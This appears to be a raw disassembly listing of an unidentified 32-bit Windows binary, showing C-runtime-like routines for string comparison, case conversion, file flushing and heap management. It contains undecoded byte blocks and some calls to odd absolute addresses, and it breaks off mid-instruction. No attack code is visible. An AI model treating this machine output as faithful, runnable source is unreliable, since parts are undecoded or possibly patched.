XREF: sub_41DE10+7j mov eax, [esp+arg_0] mov ecx, off_43A680 mov al, [ecx+eax*2] and eax, 8 retn sub_41DE10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DE40 proc near ; CODE XREF: sub_418246+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DE8C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DE8D test eax, 1 jz short loc_41DE6D mov cl, [esi] cmp cl, [edi] jnz short loc_41DEBA inc esi inc edi dec eax jz short loc_41DE8A loc_41DE6D: ; CODE XREF: sub_41DE40+20j ; sub_41DE40+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DEBA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DEBA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DE6D loc_41DE8A: ; CODE XREF: sub_41DE40+2Bj ; sub_41DE40+84j pop edi pop esi locret_41DE8C: ; CODE XREF: sub_41DE40+6j retn ; --------------------------------------------------------------------------- loc_41DE8D: ; CODE XREF: sub_41DE40+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DEC2 repe cmpsd jz short loc_41DEC2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DEB5 cmp ch, dh jnz short loc_41DEB5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DEB5 cmp ch, dh loc_41DEB5: ; CODE XREF: sub_41DE40+63j ; sub_41DE40+67j ... mov eax, 0 loc_41DEBA: ; CODE XREF: sub_41DE40+26j ; sub_41DE40+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DEC2: ; CODE XREF: sub_41DE40+55j ; sub_41DE40+59j test eax, eax jz short loc_41DE8A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DEB5 dec eax jz short loc_41DEE9 cmp dh, ch jnz short loc_41DEB5 dec eax jz short loc_41DEE9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DEB5 dec eax loc_41DEE9: ; CODE XREF: sub_41DE40+8Fj ; sub_41DE40+96j pop edi pop esi retn sub_41DE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEEC proc near ; CODE XREF: sub_418566+6p ; sub_418584+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4D97D0, 0 push ebx push esi push edi jnz short loc_41DF19 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41DFB2 cmp eax, 5Ah jg loc_41DFB2 add eax, 20h jmp loc_41DFB2 ; --------------------------------------------------------------------------- loc_41DF19: ; CODE XREF: sub_41DEEC+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41DF4D cmp dword_43A88C, esi jle short loc_41DF3B push esi push ebx call sub_41F44A pop ecx pop ecx jmp short loc_41DF45 ; --------------------------------------------------------------------------- loc_41DF3B: ; CODE XREF: sub_41DEEC+42j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, esi loc_41DF45: ; CODE XREF: sub_41DEEC+4Dj test eax, eax jnz short loc_41DF4D loc_41DF49: ; CODE XREF: sub_41DEEC+ADj mov eax, ebx jmp short loc_41DFB2 ; --------------------------------------------------------------------------- loc_41DF4D: ; CODE XREF: sub_41DEEC+3Aj ; sub_41DEEC+5Bj mov edx, off_43A680 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41DF71 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41DF7A ; --------------------------------------------------------------------------- loc_41DF71: ; CODE XREF: sub_41DEEC+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41DF7A: ; CODE XREF: sub_41DEEC+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4D97D0 call sub_4229D2 add esp, 20h test eax, eax jz short loc_41DF49 cmp eax, esi jnz short loc_41DFA5 movzx eax, [ebp+var_4] jmp short loc_41DFB2 ; --------------------------------------------------------------------------- loc_41DFA5: ; CODE XREF: sub_41DEEC+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41DFB2: ; CODE XREF: sub_41DEEC+16j ; sub_41DEEC+1Fj ... pop edi pop esi pop ebx leave retn sub_41DEEC endp ; =============== S U B R O U T I N E ======================================= sub_41DFB7 proc near ; CODE XREF: sub_418AA2+ADp ; sub_419A81+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41DFCE loc_41DFC4: ; CODE XREF: sub_41DFB7+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41DFC4 loc_41DFCE: ; CODE XREF: sub_41DFB7+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41DFB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFD4 proc near ; CODE XREF: sub_418AA2+7Fp ; sub_418AA2+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41E0A1 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41E0CE cmp dword_4D97D0, esi jnz short loc_41E025 cmp edi, esi jbe loc_41E0CE loc_41E004: ; CODE XREF: sub_41DFD4+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41E0CE inc eax inc edx inc edx cmp eax, edi jb short loc_41E004 jmp loc_41E0CE ; --------------------------------------------------------------------------- loc_41E025: ; CODE XREF: sub_41DFD4+26j mov ebx, [ebp+arg_4] mov esi, dword_4270F0 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4D97E0 call esi test eax, eax jnz loc_41E0CD nop call near ptr 2680DCDh cmp eax, 7Ah jz short loc_41E05F loc_41E050: ; CODE XREF: sub_41DFD4+CBj ; sub_41DFD4+F7j mov dword_4D9714, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E0CE ; --------------------------------------------------------------------------- loc_41E05F: ; CODE XREF: sub_41DFD4+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41E067: ; CODE XREF: sub_41DFD4+B3j mov cl, [eax] test cl, cl jz short loc_41E089 mov edx, off_43A680 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41E07E inc eax loc_41E07E: ; CODE XREF: sub_41DFD4+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41E067 loc_41E089: ; CODE XREF: sub_41DFD4+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4D97E0 call esi test eax, eax jnz short loc_41E0CE jmp short loc_41E050 ; --------------------------------------------------------------------------- loc_41E0A1: ; CODE XREF: sub_41DFD4+Fj cmp dword_4D97D0, esi jnz short loc_41E0B4 push [ebp+arg_4] call sub_41B960 pop ecx jmp short loc_41E0CE ; --------------------------------------------------------------------------- loc_41E0B4: ; CODE XREF: sub_41DFD4+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4D97E0 nop call near ptr 2700000h cmp eax, esi jz short loc_41E050 loc_41E0CD: ; CODE XREF: sub_41DFD4+6Bj dec eax loc_41E0CE: ; CODE XREF: sub_41DFD4+1Aj ; sub_41DFD4+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41DFD4 endp ; --------------------------------------------------------------------------- db 0Ah dd 0C9583EBh, 0E9B96805h, 0E06C55BBh, 0A1642824h, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 0ABE890E8h, 33024839h, 89D48AD2h dd 4D972C15h, 81C88B00h, 0FFE1h, 280D8900h, 0C1004D97h dd 0CA0308E1h, 97240D89h, 0E8C1004Dh, 9720A310h, 0F633004Dh dd 2CBE856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 0C3E8FC75h, 90000050h, 483915E8h, 0ADA4A302h, 81E8004Dh dd 0A300004Fh, 4D9788h, 4D2AE8h, 4C6CE800h, 99E80000h dd 89FFFFDDh, 458DD075h, 89E850A4h, 9002481Eh, 4BFDE8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 2522E856h, 50900227h, 0FE3080E8h, 0A04589FFh dd 0DD87E850h, 458BFFFFh, 8B088BECh, 984D8909h, 3BE85150h dd 5900004Ah, 658BC359h, 9875FFE8h, 0FFDD79E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41E1C9 proc near ; CODE XREF: ___:0041D7D8p ; ___:00422E20p ... arg_0 = dword ptr 4 cmp dword_4D9790, 1 jnz short loc_41E1D7 call sub_423498 loc_41E1D7: ; CODE XREF: sub_41E1C9+7j push [esp+arg_0] call sub_4234D1 push 0FFh call off_43A670 pop ecx pop ecx retn sub_41E1C9 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4D9790 dd 0E8057501h, 529Ch, 42474FFh, 52CCE8h, 0FF685900h, 90000000h dd 0A57AA4E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E212 proc near ; CODE XREF: sub_41B9DB+2Ap ; sub_42393B+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DAB60 jnb loc_41E2AC mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DAA60h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E2AC push edi call sub_4237AA cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E28B cmp edi, 1 jz short loc_41E259 cmp edi, 2 jnz short loc_41E26F loc_41E259: ; CODE XREF: sub_41E212+40j push 2 call sub_4237AA push 1 mov ebp, eax call sub_4237AA pop ecx cmp eax, ebp pop ecx jz short loc_41E28B loc_41E26F: ; CODE XREF: sub_41E212+45j push edi call sub_4237AA pop ecx push eax nop call near ptr 2660000h test eax, eax jnz short loc_41E28B nop call near ptr 2680DCDh mov ebp, eax jmp short loc_41E28D ; --------------------------------------------------------------------------- loc_41E28B: ; CODE XREF: sub_41E212+3Bj ; sub_41E212+5Bj ... xor ebp, ebp loc_41E28D: ; CODE XREF: sub_41E212+77j push edi call sub_423730 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E2A8 push ebp call sub_420314 pop ecx jmp short loc_41E2BD ; --------------------------------------------------------------------------- loc_41E2A8: ; CODE XREF: sub_41E212+8Bj xor eax, eax jmp short loc_41E2C0 ; --------------------------------------------------------------------------- loc_41E2AC: ; CODE XREF: sub_41E212+Ej ; sub_41E212+2Fj and dword_4D9718, 0 mov dword_4D9714, 9 loc_41E2BD: ; CODE XREF: sub_41E212+94j or eax, 0FFFFFFFFh loc_41E2C0: ; CODE XREF: sub_41E212+98j pop edi pop esi pop ebp pop ebx retn sub_41E212 endp ; =============== S U B R O U T I N E ======================================= sub_41E2C5 proc near ; CODE XREF: sub_41B9DB+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E2EE test al, 8 jz short loc_41E2EE push dword ptr [esi+8] call sub_41BA31 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E2EE: ; CODE XREF: sub_41E2C5+Aj ; sub_41E2C5+Ej pop esi retn sub_41E2C5 endp ; =============== S U B R O U T I N E ======================================= sub_41E2F0 proc near ; CODE XREF: sub_41E390+2Dp ; sub_41E390+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E302 push esi call sub_41E390 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E302: ; CODE XREF: sub_41E2F0+7j push esi call sub_41E32B test eax, eax pop ecx jz short loc_41E312 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E312: ; CODE XREF: sub_41E2F0+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E327 push dword ptr [esi+10h] call sub_4237E7 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E327: ; CODE XREF: sub_41E2F0+26j xor eax, eax pop esi retn sub_41E2F0 endp ; =============== S U B R O U T I N E ======================================= sub_41E32B proc near ; CODE XREF: sub_41B9DB+1Ap ; ___:0041D9C3p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E378 test ax, 108h jz short loc_41E378 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E378 push edi push eax push dword ptr [esi+10h] call sub_422825 add esp, 0Ch cmp eax, edi jnz short loc_41E371 mov eax, [esi+0Ch] test al, 80h jz short loc_41E378 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E378 ; --------------------------------------------------------------------------- loc_41E371: ; CODE XREF: sub_41E32B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E378: ; CODE XREF: sub_41E32B+14j ; sub_41E32B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E32B endp ; =============== S U B R O U T I N E ======================================= sub_41E387 proc near ; CODE XREF: sub_4238E3p push 1 call sub_41E390 pop ecx retn sub_41E387 endp ; =============== S U B R O U T I N E ======================================= sub_41E390 proc near ; CODE XREF: sub_41E2F0+Ap ; sub_41E387+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DAA40, esi jle short loc_41E3EE loc_41E3A1: ; CODE XREF: sub_41E390+5Cj mov eax, dword_4D9A30 mov eax, [eax+esi*4] test eax, eax jz short loc_41E3E5 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E3E5 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E3CB push eax call sub_41E2F0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E3E5 inc ebx jmp short loc_41E3E5 ; --------------------------------------------------------------------------- loc_41E3CB: ; CODE XREF: sub_41E390+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E3E5 test cl, 2 jz short loc_41E3E5 push eax call sub_41E2F0 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E3E5 or edi, eax loc_41E3E5: ; CODE XREF: sub_41E390+1Bj ; sub_41E390+23j ... inc esi cmp esi, dword_4DAA40 jl short loc_41E3A1 loc_41E3EE: ; CODE XREF: sub_41E390+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E3F9 mov eax, edi loc_41E3F9: ; CODE XREF: sub_41E390+65j pop edi pop esi pop ebx retn sub_41E390 endp ; --------------------------------------------------------------------------- db 33h, 0C0h, 6Ah dd 24443900h, 10006808h, 940F0000h, 0E89050C0h, 2491BECh dd 0A0A3C085h, 74004DADh, 17E815h, 0C0850000h, 35FF0F75h dd 4DADA0h, 48380EE8h, 0C0339002h, 58016AC3h, 14068C3h dd 6A0000h, 0ADA035FFh, 0B5E8004Dh, 90023B1Bh, 9CA3C085h dd 75004DADh, 2583C301h, 4DAD94h, 98258300h, 4DADh, 90A3016Ah dd 0C7004DADh, 4DAD8805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E477 proc near ; CODE XREF: sub_41BA31+Ap ; sub_41BB48+3Dp ... arg_0 = dword ptr 4 mov eax, dword_4DAD98 lea ecx, [eax+eax*4] mov eax, dword_4DAD9C lea ecx, [eax+ecx*4] loc_41E487: ; CODE XREF: sub_41E477+26j cmp eax, ecx jnb short loc_41E49F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E4A1 add eax, 14h jmp short loc_41E487 ; --------------------------------------------------------------------------- loc_41E49F: ; CODE XREF: sub_41E477+12j xor eax, eax locret_41E4A1: ; CODE XREF: sub_41E477+21j retn sub_41E477 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E4A2 proc near ; CODE XREF: sub_41BA31+16p ; sub_41BB48+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_41E568 sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_41E4FA mov [ebp+arg_4], edi loc_41E4FA: ; CODE XREF: sub_41E4A2+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_41E54C mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_41E528 mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_41E54C mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_41E54C ; --------------------------------------------------------------------------- loc_41E528: ; CODE XREF: sub_41E4A2+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_41E54C mov ecx, [ebp+arg_0] and [ecx+4], edi loc_41E54C: ; CODE XREF: sub_41E4A2+60j ; sub_41E4A2+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_41E568: ; CODE XREF: sub_41E4A2+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_41E576 push 3Fh pop edi loc_41E576: ; CODE XREF: sub_41E4A2+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_41E625 sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_41E5A1 mov [ebp+arg_4], edx mov ecx, edx loc_41E5A1: ; CODE XREF: sub_41E4A2+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_41E5B3 mov edi, edx loc_41E5B3: ; CODE XREF: sub_41E4A2+10Dj cmp ecx, edi jz short loc_41E622 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_41E60A mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_41E5E6 mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_41E60A mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_41E60A ; --------------------------------------------------------------------------- loc_41E5E6: ; CODE XREF: sub_41E4A2+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_41E60A mov ecx, [ebp+arg_0] and [ecx+4], edx loc_41E60A: ; CODE XREF: sub_41E4A2+11Ej ; sub_41E4A2+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_41E622: ; CODE XREF: sub_41E4A2+113j mov edx, [ebp+var_8] loc_41E625: ; CODE XREF: sub_41E4A2+DDj cmp [ebp+var_14], 0 jnz short loc_41E634 cmp [ebp+arg_4], edi jz loc_41E6BD loc_41E634: ; CODE XREF: sub_41E4A2+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E6BD mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E691 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E680 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E680: ; CODE XREF: sub_41E4A2+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_41E6BA ; --------------------------------------------------------------------------- loc_41E691: ; CODE XREF: sub_41E4A2+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E6A7 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E6A7: ; CODE XREF: sub_41E4A2+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_41E6BA: ; CODE XREF: sub_41E4A2+1EDj mov ebx, [ebp+var_C] loc_41E6BD: ; CODE XREF: sub_41E4A2+18Cj ; sub_41E4A2+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_41E7C8 mov eax, dword_4DAD94 test eax, eax jz loc_41E7BA mov ecx, dword_4DAD8C mov edi, dword_4271D0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi mov ecx, dword_4DAD8C mov eax, dword_4DAD94 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DAD94 mov ecx, dword_4DAD8C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DAD94 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DAD94 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E748 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DAD94 loc_41E748: ; CODE XREF: sub_41E4A2+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E7BA push ebx push 0 push dword ptr [eax+0Ch] call edi mov eax, dword_4DAD94 push dword ptr [eax+10h] push 0 push dword_4DADA0 call near ptr 27C0620h nop mov eax, dword_4DAD98 mov edx, dword_4DAD9C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DAD94 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D400 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DAD98 cmp eax, dword_4DAD94 jbe short loc_41E7AC sub eax, 14h loc_41E7AC: ; CODE XREF: sub_41E4A2+305j mov ecx, dword_4DAD9C mov dword_4DAD90, ecx jmp short loc_41E7BD ; --------------------------------------------------------------------------- loc_41E7BA: ; CODE XREF: sub_41E4A2+233j ; sub_41E4A2+2AAj mov eax, [ebp+arg_0] loc_41E7BD: ; CODE XREF: sub_41E4A2+316j mov dword_4DAD94, eax mov dword_4DAD8C, esi loc_41E7C8: ; CODE XREF: sub_41E4A2+226j pop edi pop esi pop ebx leave retn sub_41E4A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E7CD proc near ; CODE XREF: sub_41BB48+69p ; sub_41BCD9+Ep ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DAD98 mov edx, dword_4DAD9C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E80D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E81D ; --------------------------------------------------------------------------- loc_41E80D: ; CODE XREF: sub_41E7CD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E81D: ; CODE XREF: sub_41E7CD+3Ej mov eax, dword_4DAD90 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E844 loc_41E82B: ; CODE XREF: sub_41E7CD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E844 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E82B loc_41E844: ; CODE XREF: sub_41E7CD+5Cj ; sub_41E7CD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E8C2 mov ebx, edx loc_41E84B: ; CODE XREF: sub_41E7CD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E867 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E865 add ebx, 14h jmp short loc_41E84B ; --------------------------------------------------------------------------- loc_41E865: ; CODE XREF: sub_41E7CD+91j cmp ebx, eax loc_41E867: ; CODE XREF: sub_41E7CD+83j jnz short loc_41E8C2 loc_41E869: ; CODE XREF: sub_41E7CD+ADj cmp ebx, [ebp+var_4] jnb short loc_41E87F cmp dword ptr [ebx+8], 0 jnz short loc_41E87C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E869 ; --------------------------------------------------------------------------- loc_41E87C: ; CODE XREF: sub_41E7CD+A5j cmp ebx, [ebp+var_4] loc_41E87F: ; CODE XREF: sub_41E7CD+9Fj jnz short loc_41E8A7 mov ebx, edx loc_41E883: ; CODE XREF: sub_41E7CD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E897 cmp dword ptr [ebx+8], 0 jnz short loc_41E895 add ebx, 14h jmp short loc_41E883 ; --------------------------------------------------------------------------- loc_41E895: ; CODE XREF: sub_41E7CD+C1j cmp ebx, eax loc_41E897: ; CODE XREF: sub_41E7CD+BBj jnz short loc_41E8A7 call sub_41EAD6 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E8BB loc_41E8A7: ; CODE XREF: sub_41E7CD:loc_41E87Fj ; sub_41E7CD:loc_41E897j push ebx call sub_41EB87 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E8C2 loc_41E8BB: ; CODE XREF: sub_41E7CD+D8j xor eax, eax jmp loc_41EAD1 ; --------------------------------------------------------------------------- loc_41E8C2: ; CODE XREF: sub_41E7CD+7Aj ; sub_41E7CD:loc_41E867j ... mov dword_4DAD90, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E8E9 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E920 loc_41E8E9: ; CODE XREF: sub_41E7CD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E91D loc_41E906: ; CODE XREF: sub_41E7CD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E906 loc_41E91D: ; CODE XREF: sub_41E7CD+137j mov edx, [ebp+var_4] loc_41E920: ; CODE XREF: sub_41E7CD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E949 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E949: ; CODE XREF: sub_41E7CD+16Dj ; sub_41E7CD+183j test ecx, ecx jl short loc_41E952 shl ecx, 1 inc edi jmp short loc_41E949 ; --------------------------------------------------------------------------- loc_41E952: ; CODE XREF: sub_41E7CD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar 